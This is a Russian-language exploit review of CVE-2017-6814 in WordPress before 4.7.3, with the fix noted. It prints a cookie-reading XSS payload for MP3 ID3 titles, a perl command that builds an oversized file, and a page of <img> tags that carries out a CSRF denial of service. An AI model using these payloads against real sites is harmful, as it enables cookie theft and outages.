IT-ИМПУЛЬС
Контакты Меню

Обзор эксплоита: множественные XSS и отказ в обслуживании через CSRF в WordPress

Содержание статьи Дата релиза: 20 января 2017 года
CVE: CVE-2017-6814
Автор: Йорик Костер (Yorick Koster)
 BRIEF

В WordPress версий до 4.7.3 возможен межсайтовый скриптинг из-за отсутствия проверки пользовательских данных, а именно ID3-тегов в загружаемых аудиофайлах. Также отсутствует ограничение на количество загружаемых URL и размер файлов, что открывает возможность для атак типа «отказ в обслуживании».

 EXPLOIT

Для начала займемся XSS. Корень уязвимости кроется в том, что WordPress парсит ID3-теги загружаемых аудиофайлов. Из них он берет информацию о названии композиции, ее исполнителе, альбоме и тому подобные данные. Пару лет назад наша команда обнаружила XXE-уязвимость в механизме работы с тегами. Если ты ее пропустил или забыл, то рекомендую освежить в памяти и прочитать небольшой материал.

Я развернул WordPress версии 4.7.2 и создал MP3-файл длиной в одну секунду, где в качестве имени исполнителя буду использовать XSS.

XSS

Открываем код WordPress и видим, что функция wp_playlist_shortcode() вызывается, когда в тексте есть шорт-тег .

/wp-includes/media.php:

1916: function wp_playlist_shortcode( $attr ) { ... 2124: add_shortcode( 'playlist', 'wp_playlist_shortcode' );

При вызове этого шорт-тега в параметре ids передаются ID прикрепленных аудиофайлов. Затем на странице записи из них формируется плей-лист. Однако название трека никак не фильтруется — здесь и появляются возможности для проведения XSS.

Первая — при выводе плей-листа создается блок noscript со списком файлов для скачивания. Это нужно на тот случай, если в браузере отключен JavaScript. Названия попадают в тег li.

/wp-includes/media.php:

2112: <noscript> 2113: <ol><?php 2114: foreach ( $attachments as $att_id => $attachment ) { 2115: printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) ); 2116: } 2117: ?></ol> 2118: </noscript>

/wp-includes/post-template.php:

1495: function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) { ... 1514: if ( '' === trim( $link_text ) ) { 1515: $link_text = $_post->post_title; 1516: } ... 1534: return apply_filters( 'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon, $text ); 1535: }

Поставим в качестве названия трека следующую строку:

</noscript><script>alert(document.cookie)</script>

Редактируем ID3 и добавляем XSS в название трека

Теперь загружаем трек на сайт и указываем его ID в шорт-теге или выбираем в редакторе плей-листов. Вжух — и алерт уже можно наблюдать прямо тут, в редакторе.

XSS при редактировании записи

Разумеется, на странице записи то же самое.

XSS при просмотре записи

Вторая XSS типа DOM-based, название трека попадет прямиком в код JS-функции renderTracks().

/wp-includes/js/mediaelement/wp-playlist.js:

091: renderTracks : function () { 092: var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' ); 093: this.tracks.each(function (model) { 094: if ( ! self.data.images ) { 095: model.set( 'image', false ); 096: } 097: model.set( 'artists', self.data.artists ); 098: model.set( 'index', self.data.tracknumbers ? i : false ); 099: tracklist.append( self.itemTemplate( model.toJSON() ) ); 100: i += 1; 101: }); 102: this.$el.append( tracklist ); 103: 104: this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass ); 105: },

Плей-листы с XSS могут создавать только пользователи, у которых есть флаг unfiltered_html. По умолчанию это роли Admin и Editor. Вообще, необязательно загружать файл, который уже содержит эксплоит в ID3, можно просто переименовать любой существующий.

DoS

Переходим к следующей уязвимости — отказу в обслуживании. В WordPress есть такая штука, как Press This. Это что-то вроде Evernote, только данные со страницы попадают в запись в блоге. С передаваемого URL собираются всевозможные встраиваемые элементы типа картинок, видео и прочее. Эта функция не защищена токеном CSRF, поэтому, если администратор перейдет по ссылке /wp-admin/press-this.php?u=URL&url-scan-submit=Scan, скрипт соберет данные с переданного URL и создаст черновик записи с ними.

Вот как это работает изнутри.

/wp-admin/press-this.php:

23: $wp_press_this = new WP_Press_This(); 24: $wp_press_this->html();

/wp-admin/includes/class-wp-press-this.php:

1216: public function html() { ... 1221: // Get data, new (POST) and old (GET). 1222: $data = $this->merge_or_fetch_data();

/wp-admin/includes/class-wp-press-this.php:

720: if ( empty( $_POST ) && ! empty( $data['u'] ) ) { 721: $data = $this->source_data_fetch_fallback( $data['u'], $data );

/wp-admin/includes/class-wp-press-this.php:

571: public function source_data_fetch_fallback( $url, $data = array() ) { ... 576: // Download source page to tmp file. 577: $source_content = $this->fetch_source_html( $url ); ... 605: // Fetch and gather <img> data. ... 610: if ( preg_match_all( '/<img [^>]+>/', $source_content, $matches ) ) { 611: $items = $this->_limit_array( $matches[0] );

Создание записи через функцию Press This

Так как размеры загружаемых файлов не ограничиваются, мы можем вызвать отказ в обслуживании, создав огромные файлы. Например, так: perl -e 'print "<>"x28000000' > dosme.txt.

Затем нужно заманить авторизованного администратора на вредоносную страницу, где под видом картинок будем отправлять запросы на уязвимый сервер.

<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=b'> <img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=c'> <img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=d'> <img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=e'> <img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=f'> <img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=g'>

Здесь <wp server> — уязвимый сервер, <external server> — сервер, где находится большой файл.

После посещения такой страницы сайт с WordPress станет недоступен.

 TARGETS

WordPress < 4.7.3.

 SOLUTION

Выпущена новая версия WordPress 4.7.3, где описанные уязвимости устранены. Обновляемся!


РАССЫЛКА ПОСЛЕДНИХ НОВОСТЕЙ